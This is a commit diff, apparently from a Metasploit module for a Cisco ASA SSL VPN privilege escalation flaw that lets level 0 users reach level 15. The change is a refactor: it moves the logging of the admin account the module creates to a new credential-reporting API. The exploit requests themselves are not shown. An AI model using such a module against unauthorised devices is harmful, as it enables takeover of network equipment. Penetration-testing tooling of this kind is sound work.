@@ -15,7 +15,7 @@ def initialize(info = {})
15
15
'Name' => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability' ,
16
16
'Description' => %q{
17
17
This module exploits a privilege escalation vulnerability for Cisco
18
- ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
18
+ ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
19
19
level 15.
20
20
} ,
21
21
'Author' =>
@@ -236,24 +236,43 @@ def run_host(ip)
236
236
237
237
if creds
238
238
print_good ( "#{ peer } - Successfully added level 15 account #{ creds . join ( ", " ) } " )
239
-
240
239
user , pass = creds
241
-
242
- report_hash = {
243
- :host => rhost ,
244
- :port => rport ,
245
- :sname => 'Cisco ASA SSL VPN Privilege Escalation' ,
246
- :user => user ,
247
- :pass => pass ,
248
- :active => true ,
249
- :type => 'password'
250
- }
251
-
252
- report_auth_info ( report_hash )
240
+ report_escalated_creds ( user , pass )
253
241
else
254
242
vprint_error ( "#{ peer } - Failed to created user account on Cisco SSL VPN" )
255
243
end
256
244
end
257
245
end
258
246
247
+ def report_escalated_creds ( username , password )
248
+ status = Metasploit ::Model ::Login ::Status ::SUCCESSFUL
249
+
250
+ service_data = {
251
+ address : rhost ,
252
+ port : rport ,
253
+ service_name : 'https' ,
254
+ protocol : 'tcp' ,
255
+ workspace_id : myworkspace_id
256
+ }
257
+
258
+ credential_data = {
259
+ origin_type : :service ,
260
+ module_fullname : self . fullname ,
261
+ private_type : :password ,
262
+ private_data : password ,
263
+ username : username
264
+ }
265
+
266
+ credential_data . merge! ( service_data )
267
+ credential_core = create_credential ( credential_data )
268
+ login_data = {
269
+ core : credential_core ,
270
+ access_level : 'Level 15' ,
271
+ status : status ,
272
+ last_attempted_at : DateTime . now
273
+ }
274
+ login_data . merge! ( service_data )
275
+ create_credential_login ( login_data )
276
+ end
277
+
259
278
end
0 commit comments